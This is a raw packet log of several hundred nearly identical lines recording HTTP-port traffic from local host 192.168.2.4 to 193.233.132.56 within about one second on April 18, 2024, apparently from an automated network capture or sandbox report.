Apr 18, 2024 23:40:22.997040987 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997065067 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997081041 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997127056 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997127056 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997147083 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997176886 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997195005 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997215986 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997248888 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997265100 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997292995 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997311115 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997338057 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997364998 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997387886 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997407913 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997431040 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997453928 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997471094 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997503996 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997522116 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997539997 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997556925 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997577906 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997605085 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997623920 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997656107 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997678995 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997701883 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997724056 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997740030 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997766972 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997782946 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997809887 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997828960 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997849941 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997870922 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997891903 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997914076 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997937918 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997965097 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.997997999 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998018980 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998045921 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998068094 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998087883 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998110056 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998132944 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998155117 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998176098 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998198986 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998219967 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998240948 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998262882 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998290062 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998315096 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998337030 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998359919 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998379946 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998404026 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998421907 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998445988 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998469114 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998491049 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998507977 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998555899 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998581886 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998581886 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998595953 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998627901 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998653889 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998673916 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998699903 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998722076 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998744965 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998766899 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998788118 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998815060 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998837948 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998859882 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998883009 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998903990 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998925924 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998956919 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.998991966 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999017000 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999039888 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999063969 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999088049 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999109983 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999133110 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999151945 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999175072 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999193907 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999221087 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999243975 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999259949 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999284983 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999317884 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999342918 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999368906 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999393940 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999422073 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999445915 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999468088 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999488115 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999509096 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999547958 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999547958 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999577999 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999592066 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999619007 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999636889 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999663115 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999684095 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999717951 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999736071 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999761105 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999774933 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999799967 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999825001 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999851942 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999876022 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999897003 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999917030 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999942064 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:22.999958992 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000169039 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000195980 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000221014 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000240088 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000266075 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000283957 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000319004 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000339031 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000365973 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000387907 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000410080 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000432014 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000452995 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000478029 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000499010 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000520945 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000550032 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000562906 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000586987 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000605106 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000628948 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000646114 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000674009 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000696898 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000719070 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000746012 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000770092 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000792980 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000816107 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000835896 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000890017 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000915051 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000933886 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.000966072 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001003027 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001024961 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001054049 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001075983 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001096010 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001116991 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001151085 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001168966 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001192093 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001211882 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001234055 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001254082 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001276970 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001301050 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001317024 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001339912 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001373053 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001396894 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001415014 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001440048 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001471996 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001492977 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001517057 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001533031 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001559019 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001571894 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001601934 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001620054 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001636982 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001656055 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001674891 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001698971 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001718998 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001737118 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001759052 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001776934 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001796961 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001816988 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001833916 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001854897 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001871109 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001897097 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001913071 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001933098 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001955986 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001976013 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.001996040 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002016068 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002026081 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002049923 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002067089 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002088070 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002106905 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002141953 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002159119 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002180099 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002212048 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002245903 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002268076 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002286911 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002306938 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002338886 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002357006 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002372026 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002393961 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002470970 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002512932 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002512932 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002538919 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002552986 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002578974 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002595901 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002670050 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002690077 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002716064 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002738953 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002762079 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002772093 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002799988 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002810001 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002842903 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002859116 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002881050 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002902985 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002921104 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002937078 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002960920 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.002980947 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003002882 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003025055 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003043890 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003277063 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003305912 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003323078 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003345013 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003366947 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003382921 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003405094 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003428936 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003437996 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003465891 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003488064 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003511906 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003531933 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003556013 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003577948 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003592968 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003622055 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003638983 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003655910 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003679037 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003696918 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003715992 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003735065 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003757000 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003782034 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003808022 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003829956 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003851891 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003861904 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003885031 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003901958 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003926039 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003937960 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003962040 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.003982067 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004089117 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004110098 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004143000 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004160881 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004188061 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004213095 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004230022 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004250050 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004338026 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004358053 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004376888 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004393101 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004427910 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004435062 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004491091 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004514933 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004534006 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004555941 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004574060 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004602909 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004611969 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004637003 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004654884 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004676104 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004689932 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004755020 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004775047 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004795074 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004817009 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004827976 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004848957 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004868984 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004890919 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004909039 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004933119 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004966974 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.004982948 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005006075 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005022049 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005043030 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005062103 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005084038 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005100965 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005117893 CEST	49741	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:23.005146027 CEST	49741	80	192.168.2.4	193.233.132.56
